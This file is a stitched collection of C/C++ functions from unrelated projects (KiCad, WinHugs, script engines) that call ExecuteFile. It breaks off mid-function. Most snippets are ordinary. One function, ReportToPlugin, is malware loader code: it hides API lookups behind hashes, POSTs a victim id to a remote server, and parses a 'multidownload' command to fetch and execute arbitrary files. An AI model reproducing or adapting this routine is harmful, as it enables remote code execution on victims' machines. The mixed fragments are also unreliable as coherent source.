void WinEDA_PrjFrame::OnSelect(wxTreeEvent & Event) /**************************************************/ { int tree_id; TreePrjItemData * tree_data; wxString FullFileName; tree_data = (TreePrjItemData*) m_TreeProject->GetItemData(m_TreeProject->GetSelection()); tree_id = tree_data->m_Id; FullFileName = m_Parent->m_PrjFileName; switch ( tree_id ) { case TREE_PROJECT: break; case TREE_SCHEMA: { ChangeFileNameExt(FullFileName, g_SchExtBuffer); ExecuteFile(this, EESCHEMA_EXE, FullFileName); break; } case TREE_PCB: ChangeFileNameExt(FullFileName, g_BoardExtBuffer); ExecuteFile(this, PCBNEW_EXE, FullFileName); break; } }
void SCH_EDIT_FRAME::OnOpenCvpcb( wxCommandEvent& event ) { wxFileName fn = g_RootSheet->GetScreen()->GetFileName(); fn.SetExt( NetlistFileExtension ); if( fn.IsOk() && fn.FileExists() ) { ExecuteFile( this, CVPCB_EXE, QuoteFullPath( fn ) ); } else { ExecuteFile( this, CVPCB_EXE ); } }
void KICAD_MANAGER_FRAME::Execute( wxWindow* frame, const wxString& execFile, wxString params ) { if( params.size() ) AddDelimiterString( params ); TERMINATE_HANDLER* callback = new TERMINATE_HANDLER( execFile ); long pid = ExecuteFile( frame, execFile, params, callback ); if( pid > 0 ) { wxString msg = wxString::Format( _( "%s %s opened [pid=%ld]\n" ), GetChars( execFile ), GetChars( params ), pid ); PrintMsg( msg ); #ifdef __WXMAC__ msg.Printf( "osascript -e 'activate application \"%s\"' ", execFile ); system( msg.c_str() ); #endif } else { delete callback; } }
void NETLIST_DIALOG::RunSimulator( wxCommandEvent& event ) { wxFileName fn; wxString ExecFile, CommandLine; wxString tmp = m_PanelNetType[PANELSPICE]->m_CommandStringCtrl->GetValue(); tmp.Trim( false ); tmp.Trim( true ); m_Parent->SetSimulatorCommand( tmp ); ExecFile = tmp.BeforeFirst( ' ' ); CommandLine = tmp.AfterFirst( ' ' ); /* Calculate the netlist filename */ fn = g_RootSheet->GetScreen()->GetFileName(); fn.SetExt( wxT( "cir" ) ); CommandLine += wxT( " \"" ) + fn.GetFullPath() + wxT( "\"" ); NETLIST_PAGE_DIALOG* CurrPage; CurrPage = (NETLIST_PAGE_DIALOG*) m_NoteBook->GetCurrentPage(); g_OptNetListUseNames = CurrPage->m_NetOption->GetSelection() == 0; // Set spice netlist options: unsigned netlist_opt = 0; if( g_OptNetListUseNames ) netlist_opt |= NET_USE_NETNAMES; if( CurrPage->m_AddSubPrefix && CurrPage->m_AddSubPrefix->GetValue() ) netlist_opt |= NET_USE_X_PREFIX; if( ! m_Parent->CreateNetlist( CurrPage->m_IdNetType, fn.GetFullPath(), netlist_opt ) ) return; ExecuteFile( this, ExecFile, CommandLine ); }
void ScriptSystem::ExecuteFileOnce(const std::string& path) { if(mIncludedFiles.find(path) == mIncludedFiles.end()) { mIncludedFiles.insert(path); ExecuteFile(path); } }
void SCH_EDIT_FRAME::OnOpenPcbnew( wxCommandEvent& event ) { wxFileName fn = g_RootSheet->GetScreen()->GetFileName(); if( fn.IsOk() ) { fn.SetExt( PcbFileExtension ); wxString filename = QuoteFullPath( fn ); ExecuteFile( this, PCBNEW_EXE, filename ); } else { ExecuteFile( this, PCBNEW_EXE ); } }
void LuaVM::LoadFiles(const char* szPath) const { FileSystem::FileData files(255); FileSystem::GetListOfFiles(szPath, "*.lua", files); for(auto it = files.Begin(); !it.IsEnd(); ++it) { ExecuteFile((*it)); } }
void ScriptSystem::OnSceneLoaded(const dtEntity::Message& msg) { dtEntity::PropertyArray scripts = mScripts.Get(); dtEntity::PropertyArray::const_iterator i; for(i = scripts.begin(); i != scripts.end(); ++i) { std::string script = (*i)->StringValue(); v8::HandleScope scope; ExecuteFile(script); } }
bool Execute(const std::wstring& path, const std::wstring& parameters, int show_command) { if (path.empty()) return false; if (path.length() > MAX_PATH) return ExecuteFile(path, parameters); auto value = ShellExecute(nullptr, L"open", path.c_str(), parameters.c_str(), nullptr, show_command); return reinterpret_cast<int>(value) > 32; }
BOOL ExtractExe( LPCTSTR szExeFilename, LPCTSTR szDestPath, Files &files ) { LPCTSTR szFolder = szDestPath; LPCTSTR p1=NULL, p2=NULL; p1 = _tcsrchr(szExeFilename, _T('/')); p2 = _tcsrchr(szExeFilename, _T('\\')); if(p1 && p2) p1 = max(p1, p2); else if(p2) p1 = p2; if(!p1) return FALSE; CString strParam; INT nState = 0; if(_tcsstr(p1, _T("2003"))) nState = 1; else if(_tcsstr(p1, _T("2007"))) nState = 2; else { // 根据文件的属性来获取是否Office : office-kb981715-fullfile-x86-glb.exe CString strFileDescription; if( GetPEFileDescription(szExeFilename, strFileDescription) ) { strFileDescription.MakeLower(); if(_tcsstr(strFileDescription, _T("office"))!=NULL) { if(_tcsstr(strFileDescription, _T("2003"))) nState = 1; else if(_tcsstr(strFileDescription, _T("2007"))) nState = 2; } } } if(nState==1) strParam.Format(_T("/Q /C /T:\"%s\""), szDestPath); else if(nState==2) strParam.Format(_T("/q /extract:\"%s\""), szDestPath); else return FALSE; DWORD dwExitCode = 0; if(!ExecuteFile(szExeFilename, strParam, dwExitCode)) return FALSE; RPathHelper_GetMSPFile rp(files); RecursePath(szFolder, rp); return !files.empty(); }
// same as ExecuteFile, but relative to the Doc's directory void ExecuteFileDocs(LPSTR FileName) { char Buffer[MAX_PATH*2]; char* s; GetModuleFileName(hThisInstance, Buffer, MAX_PATH); s = strrchr(Buffer, '\\'); if (s == NULL) s = strrchr(Buffer, '/'); if (s != NULL) s[1] = 0; strcat(Buffer, "docs\\"); strcat(Buffer, FileName); ExecuteFile(Buffer); }
void ScriptSystem::OnLoadScript(const dtEntity::Message& m) { const ExecuteScriptMessage& msg = static_cast<const ExecuteScriptMessage&>(m); HandleScope scope; Handle<Context> context = GetGlobalContext(); Context::Scope context_scope(context); if(msg.GetIncludeOnce()) { ExecuteFileOnce(msg.GetPath()); } else { ExecuteFile(msg.GetPath()); } }
/* Call preferred editor to show (and edit) the gerber source file * loaded in the active layer */ void GERBVIEW_FRAME::OnShowGerberSourceFile( wxCommandEvent& event ) { int layer = getActiveLayer(); GERBER_IMAGE* gerber_layer = g_GERBER_List[layer]; if( gerber_layer ) { wxString editorname = wxGetApp().GetEditorName(); if( !editorname.IsEmpty() ) { wxFileName fn( gerber_layer->m_FileName ); ExecuteFile( this, editorname, QuoteFullPath( fn ) ); } else { wxMessageBox( _( "No editor defined. Please select one" ) ); } } }
void KICAD_MANAGER_FRAME::Execute( wxWindow* frame, const wxString& execFile, const wxString& param ) { PROCESS_TERMINATE_EVENT_HANDLER* callback; long pid; wxString msg; callback = new PROCESS_TERMINATE_EVENT_HANDLER( execFile ); pid = ExecuteFile( frame, execFile, param, callback ); if( pid > 0 ) { msg.Printf( execFile + _( " opened [pid=%ld]\n" ), pid ); PrintMsg( msg ); } else { delete callback; } }
void KICAD_MANAGER_FRAME::Execute( wxWindow* frame, const wxString& execFile, wxString params ) { if( params.size() ) AddDelimiterString( params ); TERMINATE_HANDLER* callback = new TERMINATE_HANDLER( execFile ); long pid = ExecuteFile( frame, execFile, params, callback ); if( pid > 0 ) { wxString msg = wxString::Format( _( "%s opened [pid=%ld]\n" ), GetChars( execFile ), pid ); PrintMsg( msg ); } else { delete callback; } }
/* Interface: Raw Ascii Text */ RawTextGui::RawTextGui(MainWidgetFrame *parent) : QWidget(parent) { this->parent = parent; QVBoxLayout *vlayout = new QVBoxLayout; QLabel *file_label = new QLabel("File: "); raw_file = new QLineEdit("test_hex_ascii.txt"); QPushButton *button = new QPushButton("Run"); QLabel *log_label = new QLabel("Log: "); msglog = new QTextEdit; connect(button, SIGNAL(clicked()), this, SLOT(ExecuteFile())); vlayout->addWidget(file_label); vlayout->addWidget(raw_file); vlayout->addWidget(button); vlayout->addSpacing(50); vlayout->addWidget(log_label); vlayout->addWidget(msglog); setLayout(vlayout); }
void ScriptSystem::LoadAutoStartScripts(const std::string& path) { HandleScope handle_scope; Handle<Context> global = GetGlobalContext(); Context::Scope context_scope(global); std::set<std::string> executed; osgDB::FilePathList paths = osgDB::getDataFilePathList(); for(osgDB::FilePathList::iterator i = paths.begin(); i != paths.end(); ++i) { std::ostringstream autostartpath; autostartpath << *i << "/" << path; osgDB::FilePathList currentPathList; currentPathList.push_back(autostartpath.str()); const std::string absPath = dtEntity::GetSystemInterface()->FindDataFile(autostartpath.str()); if(!dtEntity::GetSystemInterface()->FileExists(absPath)) { continue; } osgDB::DirectoryContents contents = osgDB::getDirectoryContents(absPath); osgDB::DirectoryContents::const_iterator j; for(j = contents.begin(); j != contents.end(); ++j) { std::string filepath = *j; if(osgDB::getFileExtension(filepath).compare("js") != 0) continue; if(executed.find(filepath) == executed.end()) { ExecuteFile(path + "/" + filepath); executed.insert(filepath); } } } }
void CConsole::ParseArguments(int NumArgs, const char **ppArguments) { for(int i = 0; i < NumArgs; i++) { // check for scripts to execute if(ppArguments[i][0] == '-' && ppArguments[i][1] == 'f' && ppArguments[i][2] == 0) { if(NumArgs - i > 1) ExecuteFile(ppArguments[i+1]); i++; } else if(!str_comp("-s", ppArguments[i]) || !str_comp("--silent", ppArguments[i])) { // skip silent param continue; } else { // search arguments for overrides ExecuteLine(ppArguments[i]); } } }
void DIALOG_CONFIG_EQUFILES::OnEditEquFile( wxCommandEvent& event ) { wxString editorname = Pgm().GetEditorName(); if( editorname.IsEmpty() ) { wxMessageBox( _( "No editor defined in Kicad. Please chose it" ) ); return; } wxArrayInt selections; m_ListEquiv->GetSelections( selections ); wxString fullFileNames, tmp; for( unsigned ii = 0; ii < selections.GetCount(); ii++ ) { tmp = m_ListEquiv->GetString( selections[ii] ); fullFileNames << wxT( " \"" ) << wxExpandEnvVars( tmp ) << wxT( "\"" ); m_ListChanged = true; } ExecuteFile( this, editorname, fullFileNames ); }
/* Call preferred editor to show (and edit) the gerber source file * loaded in the active layer */ void GERBVIEW_FRAME::OnShowGerberSourceFile( wxCommandEvent& event ) { LAYER_NUM layer = getActiveLayer(); GERBER_IMAGE* gerber_layer = g_GERBER_List[layer]; if( gerber_layer ) { wxString editorname = Pgm().GetEditorName(); if( !editorname.IsEmpty() ) { wxFileName fn( gerber_layer->m_FileName ); ExecuteFile( this, editorname, QuoteFullPath( fn ) ); } else wxMessageBox( _( "No editor defined. Please select one" ) ); } else { wxString msg; msg.Printf( _( "No file loaded on the active layer %d" ), layer + 1 ); wxMessageBox( msg ); } }
// ///////////////////////////////////////////////////////////////// // // ///////////////////////////////////////////////////////////////// bool LuaStateManager::DoFile(char const * const pFileName) { return (ExecuteFile(m_GlobalState, pFileName)); }
void DoConfig (){ WSHDR *ws=AllocWS (256); str_2ws(ws,GetConfigName(), 256); ExecuteFile(ws, NULL, NULL); FreeWS(ws); }
bool ReportToPlugin( char *Url ) { WSADATA wsa; if ( (int)pWSAStartup( MAKEWORD( 2, 2 ), &wsa ) != 0 ) { return false; } char *Host = NULL; char *Path = NULL; int Port = 0; if ( !ParseUrl1( Url, &Host, &Path, &Port ) ) { return false; } char Uid[100]; GenerateUid( Uid ); typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... ); fwsprintfA pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); char *UserAgent = NULL; UserAgent = (char*)MemAlloc( 1024 ); DWORD dwUserSize = 1024; pObtainUserAgentString( 0, UserAgent, &dwUserSize ); if ( UserAgent == NULL ) { MemFree( UserAgent ); UserAgent = "-"; } char Request[] = "POST %s HTTP/1.0\r\n" "Host: %s\r\n" "User-Agent: %s\r\n" "Accept: text/html\r\n" "Connection: Close\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: %d\r\n\r\n"; char Args[] = "id="; char *HttpPacket = NULL; HttpPacket = (char*)MemAlloc( 2048 ); int iTmp; if (LoadExe!=NULL) { iTmp=m_lstrlen(LoadExe); }else iTmp=9; pwsprintfA( HttpPacket, Request, Path, Host, UserAgent, m_lstrlen( Args ) + m_lstrlen( Uid )+iTmp ); m_lstrcat( HttpPacket, Args ); m_lstrcat( HttpPacket, Uid ); if (LoadExe==NULL) { LoadExe = (char*)MemAlloc(10); m_lstrncpy(LoadExe,"&plugins=",9); LoadExe[9]='\0'; } m_lstrcat( HttpPacket, LoadExe ); SOCKET Socket = MyConnect1( Host, Port ); if( Socket == -1 ) { return false; } bool b = MySend( Socket, (const char *)HttpPacket, m_lstrlen( HttpPacket ) ); MemFree( HttpPacket ); if ( !b ) { return false; } DWORD dwSize = 0; char *Buffer = RecvAndParse( Socket, &dwSize ); if ( !Buffer ) { pclosesocket( Socket ); return false; } char MultiDownloadCommand[]={'m','u','l','t','i','d','o','w','n','l','o','a','d',0}; char *Context; m_strtok_s( Buffer, "\r\n", &Context ); if ( !m_lstrncmp( Buffer, MultiDownloadCommand, m_lstrlen( MultiDownloadCommand ) ) ) { char * cPointer= m_strstr(&Buffer[1],"http:"); char* cUrl=Buffer; char* cUrlNext; int i; char *DownloadUrl; while (true) { cUrl= m_strstr(&cUrl[1],"http:"); if (cUrl==NULL)break; cUrlNext= m_strstr(cUrl,"|"); i=m_lstrlen(cUrl)-m_lstrlen(cUrlNext); DownloadUrl = (char*)MemAlloc(i)+1; m_lstrncpy(DownloadUrl,cUrl,i); DownloadUrl[i]='\0'; if ( DownloadUrl ) { LoadExe=(char*)MemRealloc(LoadExe,33+m_lstrlen(LoadExe)+1); m_lstrcat( LoadExe, MD5StrFromBuf(DownloadUrl, STRA::Length(DownloadUrl)).t_str()); m_lstrcat( LoadExe, "|"); WCHAR *FileName =(WCHAR *)GetTempName(); if ( FileName && DownloadUrl ) { ExecuteFile( DownloadUrl, FileName ); } MemFree( FileName ); } MemFree( DownloadUrl ); } } MemFree( Buffer ); pclosesocket( Socket ); return true; }
void WinEDA_GerberFrame::Process_Special_Functions(wxCommandEvent& event) /********************************************************************************/ /* Traite les selections d'outils et les commandes appelees du menu POPUP */ { int id = event.GetId(); int layer = GetScreen()->m_Active_Layer; GERBER_Descr * gerber_layer = g_GERBER_Descr_List[layer]; wxPoint pos; wxClientDC dc(DrawPanel); DrawPanel->PrepareGraphicContext(&dc); wxGetMousePosition(&pos.x, &pos.y); pos.y += 20; switch ( id ) // Arret eventuel de la commande de déplacement en cours { case wxID_CUT: case wxID_COPY: case ID_POPUP_DELETE_BLOCK: case ID_POPUP_PLACE_BLOCK: case ID_POPUP_ZOOM_BLOCK: case ID_POPUP_INVERT_BLOCK: case ID_POPUP_ROTATE_BLOCK: case ID_POPUP_COPY_BLOCK: break; case ID_POPUP_CANCEL_CURRENT_COMMAND: if( GetScreen()->ManageCurseur && GetScreen()->ForceCloseManageCurseur ) { GetScreen()->ForceCloseManageCurseur(this, &dc); } /* ne devrait pas etre execute, sauf bug */ if (m_CurrentScreen->BlockLocate.m_Command != BLOCK_IDLE) { m_CurrentScreen->BlockLocate.m_Command = BLOCK_IDLE; m_CurrentScreen->BlockLocate.m_State = STATE_NO_BLOCK; m_CurrentScreen->BlockLocate.m_BlockDrawStruct = NULL; } if (m_ID_current_state == 0 ) SetToolID(0, wxCURSOR_ARROW, wxEmptyString); else SetCursor(DrawPanel->m_PanelCursor = DrawPanel->m_PanelDefaultCursor); break; default: // Arret dea commande de déplacement en cours if( GetScreen()->ManageCurseur && GetScreen()->ForceCloseManageCurseur ) { GetScreen()->ForceCloseManageCurseur(this, &dc); } SetToolID(0, wxCURSOR_ARROW, wxEmptyString); break; } switch ( id ) // Traitement des commandes { case ID_EXIT : Close(TRUE); break; case ID_NEW_PROJECT: case ID_LOAD_PROJECT: Files_io(event); break; case ID_PCB_GLOBAL_DELETE: Erase_Current_Layer(&dc, TRUE); break; case wxID_CUT: break; case wxID_COPY: break; case wxID_PASTE: // HandleBlockBegin(&dc, BLOCK_PASTE); break; case ID_UNDO_BUTT: UnDeleteItem(&dc); break; case ID_GET_TOOLS: // InstallToolsFrame(this, wxPoint(-1,-1) ); break; case ID_FIND_ITEMS: // InstallFindFrame(this, pos); break; case ID_BUS_BUTT: SetToolID( id, wxCURSOR_PENCIL, wxT("Add Tracks")); break; case ID_LINE_COMMENT_BUTT: SetToolID( id, wxCURSOR_PENCIL, wxT("Add Drawing")); break; case ID_TEXT_COMMENT_BUTT: SetToolID( id, wxCURSOR_PENCIL, wxT("Add Text")); break; case ID_NO_SELECT_BUTT: SetToolID( 0, 0, wxEmptyString); break; case ID_POPUP_CLOSE_CURRENT_TOOL: SetToolID( 0, wxCURSOR_ARROW, wxEmptyString); break; case ID_POPUP_CANCEL_CURRENT_COMMAND: break; case ID_POPUP_END_LINE: DrawPanel->MouseToCursorSchema(); // EndSegment(&dc); break; case ID_POPUP_PCB_DELETE_TRACKSEG: DrawPanel->MouseToCursorSchema(); if ( GetScreen()->m_CurrentItem == NULL) break; Delete_Segment(&dc, (TRACK*)GetScreen()->m_CurrentItem); GetScreen()->m_CurrentItem = NULL; GetScreen()->SetModify(); break; case ID_PCB_DELETE_ITEM_BUTT: SetToolID( id, wxCURSOR_PENCIL, wxT("Delete item")); break; case ID_POPUP_SCH_MOVE_ITEM_REQUEST: DrawPanel->MouseToCursorSchema(); Process_Move_Item(this, GetScreen()->m_CurrentItem, &dc); break; case ID_TOOLBARH_PCB_SELECT_LAYER: { GetScreen()->m_Active_Layer = m_SelLayerBox->GetSelection(); DrawPanel->Refresh(TRUE); break; } case ID_TOOLBARH_GERBER_SELECT_TOOL: if ( gerber_layer ) { int tool = m_SelLayerTool->GetSelection(); if ( tool > 0 ) tool = tool - 1 + FIRST_DCODE; else tool = 0; gerber_layer->m_Selected_Tool = tool; DrawPanel->Refresh(TRUE); } else DisplayError(this, _("No layer selected") ); break; case ID_GERBVIEW_SHOW_LIST_DCODES: Liste_D_Codes(&dc); break; case ID_GERBVIEW_SHOW_SOURCE: if ( gerber_layer ) { wxString editorname = GetEditorName(); if ( ! editorname.IsEmpty() ) ExecuteFile(this, editorname, gerber_layer->m_FileName); } break; case ID_POPUP_PLACE_BLOCK: GetScreen()->BlockLocate.m_Command = BLOCK_MOVE; DrawPanel->m_AutoPAN_Request = FALSE; HandleBlockPlace(&dc); break; case ID_POPUP_COPY_BLOCK: GetScreen()->BlockLocate.m_Command = BLOCK_COPY; m_CurrentScreen->BlockLocate.SetMessageBlock(this); DrawPanel->m_AutoPAN_Request = FALSE; HandleBlockEnd(&dc); break; case ID_POPUP_ZOOM_BLOCK: GetScreen()->BlockLocate.m_Command = BLOCK_ZOOM; m_CurrentScreen->BlockLocate.SetMessageBlock(this); m_CurrentScreen->BlockLocate.SetMessageBlock(this); HandleBlockEnd(&dc); break; case ID_POPUP_DELETE_BLOCK: GetScreen()->BlockLocate.m_Command = BLOCK_DELETE; m_CurrentScreen->BlockLocate.SetMessageBlock(this); HandleBlockEnd(&dc); break; default: wxMessageBox( wxT("WinEDA_GerberFrame::Process_Special_Functions error")); break; } SetToolbars(); }
INT_PTR CALLBACK AboutDlgProc(HWND hDlg, UINT Msg, WPARAM wParam, LPARAM lParam) { switch (Msg) { case WM_INITDIALOG: { HWND hRTF = GetDlgItem(hDlg, rtfAbout); AboutData* ad = malloc(sizeof(AboutData)); HBITMAP hBmp; SetWindowLongPtr(hDlg, GWL_USERDATA, (LONG) ad); CenterDialogInParent(hDlg); ad->hImgList = ImageList_Create(BmpWidth, BmpHeight, ILC_COLOR24 | ILC_MASK, 1, 1); hBmp = LoadBitmap(hThisInstance, MAKEINTRESOURCE(BMP_ABOUT)); ImageList_AddMasked(ad->hImgList, hBmp, BmpTransparent); DeleteObject(hBmp); SendMessage(hRTF, EM_AUTOURLDETECT, TRUE, 0); SetWindowText(hRTF, AboutText); SendMessage(hRTF, EM_SETSEL, -1, -1); SendMessage(hRTF, EM_REPLACESEL, FALSE, (LPARAM) versionString); SendMessage(hRTF, EM_SETEVENTMASK, 0, ENM_LINK); } return (INT_PTR)TRUE; case WM_PAINT: { PAINTSTRUCT ps; AboutData* ad = (AboutData*) GetWindowLongPtr(hDlg, GWL_USERDATA); BeginPaint(hDlg, &ps); ImageList_Draw(ad->hImgList, 0, ps.hdc, 20, 25, ILD_TRANSPARENT); EndPaint(hDlg, &ps); } break; case WM_COMMAND: switch (LOWORD(wParam)) { case IDOK: case IDCANCEL: EndDialog(hDlg, TRUE); return (INT_PTR)TRUE; } break; case WM_NOTIFY: if (wParam == rtfAbout && ((LPNMHDR) lParam)->code == EN_LINK) { TEXTRANGE tr; char Buffer[1000]; ENLINK* enl = (ENLINK*) lParam; if (enl->msg == WM_LBUTTONUP) { tr.lpstrText = Buffer; tr.chrg.cpMin = enl->chrg.cpMin; tr.chrg.cpMax = enl->chrg.cpMax; SendMessage(enl->nmhdr.hwndFrom, EM_GETTEXTRANGE, 0, (LPARAM) &tr); ExecuteFile(Buffer); } } break; case WM_DESTROY: { AboutData* ad = (AboutData*) GetWindowLongPtr(hDlg, GWL_USERDATA); ImageList_Destroy(ad->hImgList); free(ad); } } return (INT_PTR)FALSE; }
BOOL RtfNotify(HWND hDlg, NMHDR* nmhdr) { static BOOL FindFirst = TRUE; #define BUFF_LEN 2048 static TCHAR FindWhat[BUFF_LEN]; if (nmhdr->code == EN_PROTECTED && !PuttingChar) { //block ENPROTECTED* enp = (ENPROTECTED*) nmhdr; CHARRANGE cr; INT TextLen = RtfWindowTextLength(); BOOL Reset = FALSE, Disallow = FALSE; // just let it go ahead anyway if (enp->msg == WM_COPY) return FALSE; // they hit backspace if (enp->wParam == VK_BACK) { if ((DWORD) enp->chrg.cpMin < StartOfInput || ((DWORD) enp->chrg.cpMin == StartOfInput && enp->chrg.cpMin == enp->chrg.cpMax)) { Reset = TRUE; Disallow = TRUE; } } else if ((DWORD) enp->chrg.cpMin < StartOfInput) { Reset = TRUE; Disallow = (enp->wParam == VK_DELETE); } if (Reset) { cr.cpMin = TextLen; cr.cpMax = cr.cpMin; SendMessage(hWndRtf, EM_EXSETSEL, 0, (LPARAM) &cr); } // we don't want to paste rich text, as that makes it look weird // so send only plain text paste commands if ((enp->msg == WM_PASTE) && !Disallow) { LPTSTR Buffer = NULL; Disallow = TRUE; #if defined _UNICODE #define CLIP_FORMAT CF_UNICODETEXT #else #define CLIP_FORMAT CF_TEXT #endif if (IsClipboardFormatAvailable(CLIP_FORMAT) && OpenClipboard(hWndMain)) { HGLOBAL hGlb; LPTSTR str; if ((hGlb = GetClipboardData(CLIP_FORMAT)) != NULL && (str = GlobalLock(hGlb)) != NULL) { Buffer = StringDup(str); GlobalUnlock(hGlb); } CloseClipboard(); } if (Buffer != NULL) { // strip trailing new line characters INT i; for (i = StringLen(Buffer)-1; i >= 0 && (Buffer[i] == TEXT('\r') || Buffer[i] == TEXT('\n')); i--) Buffer[i] = 0; #if defined _UNICODE { SETTEXTEX stt; stt.codepage = CP_UNICODE; stt.flags = ST_SELECTION; SendMessage(hWndRtf,EM_SETTEXTEX,(WPARAM)&stt,(LPARAM)Buffer); } #else SendMessage(hWndRtf, EM_REPLACESEL, FALSE, (LPARAM)Buffer); #endif free(Buffer); } } return (Disallow ? TRUE : FALSE); } else if (nmhdr->code == EN_LINK) { // should really fire on up // but that screws up the cursor position ENLINK* enl = (ENLINK*) nmhdr; if (enl->msg == WM_LBUTTONDOWN) { TEXTRANGE tr; TCHAR Buffer[1000]; tr.lpstrText = Buffer; tr.chrg.cpMin = enl->chrg.cpMin; tr.chrg.cpMax = enl->chrg.cpMax; SendMessage(hWndRtf, EM_GETTEXTRANGE, 0, (LPARAM) &tr); ExecuteFile(Buffer); return TRUE; } } else if (nmhdr->code == EN_MSGFILTER) { MSGFILTER* mf = (MSGFILTER*) nmhdr; #if 0 //if (mf->msg == WM_CHAR && Running) { if (mf->msg == WM_CHAR && 0) { WinGHCiReceiveC((TCHAR)mf->wParam == TEXT('\r') ? TEXT('\n') : mf->wParam); SetWindowLong(hDlg, DWL_MSGRESULT, 1); return FALSE; } //else if (Running && mf->msg == WM_KEYDOWN) { else if (0) { SHORT n = GetKeyState(VK_CONTROL); BOOL Control = (n & (1 << 16)); if(((CHAR)(mf->wParam) ==(CHAR)TEXT('C')) && Control) AbortExecution(); else SetWindowLong(hDlg, DWL_MSGRESULT, 1); return FALSE; } //else if (mf->msg == WM_KEYDOWN && !Running) { else #endif if (mf->msg == WM_CHAR) { if (mf->wParam == VK_TAB) { INT pos; if(FindFirst) { RtfWindowGetCommand(FindWhat,BUFF_LEN); pos = FindFirstHistory(FindWhat); FindFirst = FALSE; } else pos = FindNextHistory(); if(pos>=0) RtfWindowSetCommand(GoToHistory(pos)); else MessageBeep((UINT)-1); return TRUE; } else { // any other key resets search FindFirst = TRUE; if (mf->wParam == VK_ESCAPE) { //Clear current command RtfWindowSetCommand(TEXT("")); // Go to last item in history AddHistory(TEXT("")); return TRUE; } else { return FALSE; } } } else if (mf->msg == WM_KEYDOWN) { BOOL History = (mf->wParam == VK_UP || mf->wParam == VK_DOWN); SHORT n = GetKeyState(VK_CONTROL); BOOL Control = (n & (1 << 16)); if(((CHAR)(mf->wParam) ==(CHAR)TEXT('C')) && Control) { if(RtfWindowCanCutCopy() && DROPEFFECT_COPY) RtfWindowClipboard(WM_COPY); else AbortExecution(); } else if (History && (mf->lParam & (1 << 24))) { CHARRANGE cr; SendMessage(hWndRtf, EM_EXGETSEL, 0, (LPARAM) &cr); if ((DWORD) cr.cpMin >= StartOfInput) { RtfWindowRelativeHistory(mf->wParam == VK_UP ? -1 : +1); return TRUE; } } else if (mf->wParam == VK_RETURN) { #define BUFF_LEN 2048 TCHAR Buffer[BUFF_LEN]; RtfWindowGetCommand(Buffer,BUFF_LEN); if(Running) { if(!(mf->lParam & (1<<30))) //avoid repetition FireCommandExt(Buffer,FALSE,TRUE,FALSE,FALSE); } else //if(!(mf->lParam & (1<<30))) FireAsyncCommand(Buffer); return TRUE; } else if (mf->wParam == VK_HOME) { CHARRANGE cr; SendMessage(hWndRtf, EM_EXGETSEL, 0, (LPARAM) &cr); if ((DWORD) cr.cpMin >= StartOfInput) { SHORT n = GetKeyState(VK_SHIFT); BOOL Shift = (n & (1 << 16)); cr.cpMin = StartOfInput; cr.cpMax = (Shift ? cr.cpMax : StartOfInput); SendMessage(hWndRtf, EM_EXSETSEL, 0, (LPARAM) &cr); return TRUE; } } } } else if (nmhdr->code == EN_SELCHANGE) { EnableButtons(); return FALSE; } return FALSE; }
void MainCommand(HWND hWnd, int ID) { switch (ID) { case IDCANCEL: EndDialog(hWnd, 0); break; case ID_OPEN: MainOpenFile(hWnd); break; case ID_SCRIPTMAN: ShowScriptMan(); break; case ID_EXIT: FireCommand(":quit\n"); break; /* Load one of the last 10 open files */ case ID_MRU+0: case ID_MRU+1: case ID_MRU+2: case ID_MRU+3: case ID_MRU+4: case ID_MRU+5: case ID_MRU+6: case ID_MRU+7: case ID_MRU+8: case ID_MRU+9: { char Command[1000]; wsprintf(Command, ":load %s", ExpandFileName(MruGetItem(ID-ID_MRU))); FireCommand(Command); } break; // EDIT MENU case ID_CUT: RtfWindowClipboard(WM_CUT); break; case ID_COPY: RtfWindowClipboard(WM_COPY); break; case ID_PASTE: RtfWindowClipboard(WM_PASTE); break; case ID_CLEARSCREEN: RtfWindowClear(); break; case ID_DELETE: RtfWindowDelete(); break; case ID_SELECTALL: RtfWindowSelectAll(); break; case ID_GOPREVIOUS: RtfWindowHistory(-1); break; case ID_GONEXT: RtfWindowHistory(+1); break; // ACTIONS MENU // Reload script files case ID_COMPILE: case ID_MAKE: FireCommand(":reload"); break; case ID_CLEARALL: FireCommand(":load"); break; case ID_GOEDIT: FireCommand(":edit"); break; /* Stop program execution */ case ID_STOP: MessageBeep(0xFFFFFFFF); AbortExecution(); break; /* Evaluate main expression */ case ID_RUN: { char Buffer[1000]; RtfWindowGetCommand(Buffer); if (Buffer[0] == '\0') FireCommand(":main"); else FireCommand(Buffer); } break; /* Set interpreter options using dialog box */ case ID_SETOPTIONS: if (ShowOptionsDialog(hWnd)) RtfWindowUpdateFont(); break; // BROWSE MENU case ID_BROWSEHIERARCHY: DrawClassesHierarchy(); break; case ID_BROWSECLASSES: DoBrowseClasses(); break; case ID_BROWSENAMES: DoBrowseNames(); break; case ID_BROWSETYCONS: DoBrowseTycons(); break; // HELP MENU case ID_HELPCONTENTS: ExecuteFileDocs("hugs98.chm"); break; case ID_HELPCOMMANDS: FireCommand(":?\n"); break; case ID_LIBRARIES: ExecuteFile("http://www.haskell.org/ghc/docs/latest/html/libraries/index.html"); break; case ID_WWWHASKELL: ExecuteFile("http://haskell.org/"); break; case ID_WWWHUGS: ExecuteFile("http://haskell.org/hugs/"); break; case ID_ABOUT: ShowAboutDialog(hWnd); break; } }
void WinEDA_MainFrame::Process_Fct(wxCommandEvent& event) /*********************************************************/ { int id = event.GetId(); wxString FullFileName = m_PrjFileName; switch (id) { case ID_TO_PCB: ChangeFileNameExt(FullFileName, g_BoardExtBuffer); AddDelimiterString(FullFileName); ExecuteFile(this, PCBNEW_EXE, FullFileName); break; case ID_TO_CVPCB: ChangeFileNameExt(FullFileName, g_NetlistExtBuffer); AddDelimiterString(FullFileName); ExecuteFile(this, CVPCB_EXE, FullFileName); break; case ID_TO_EESCHEMA: ChangeFileNameExt(FullFileName, g_SchExtBuffer); AddDelimiterString(FullFileName); ExecuteFile(this, EESCHEMA_EXE, FullFileName); break; case ID_TO_GERBVIEW: FullFileName = wxGetCwd() + STRING_DIR_SEP; AddDelimiterString(FullFileName); ExecuteFile(this, GERBVIEW_EXE, FullFileName); break; case ID_TO_EDITOR: { wxString editorname = GetEditorName(); if ( !editorname.IsEmpty() ) ExecuteFile(this, editorname, wxEmptyString); } break; case ID_BROWSE_AN_SELECT_FILE: { wxString mask(wxT("*")), extension; #ifdef __WINDOWS__ mask += wxT(".*"); extension = 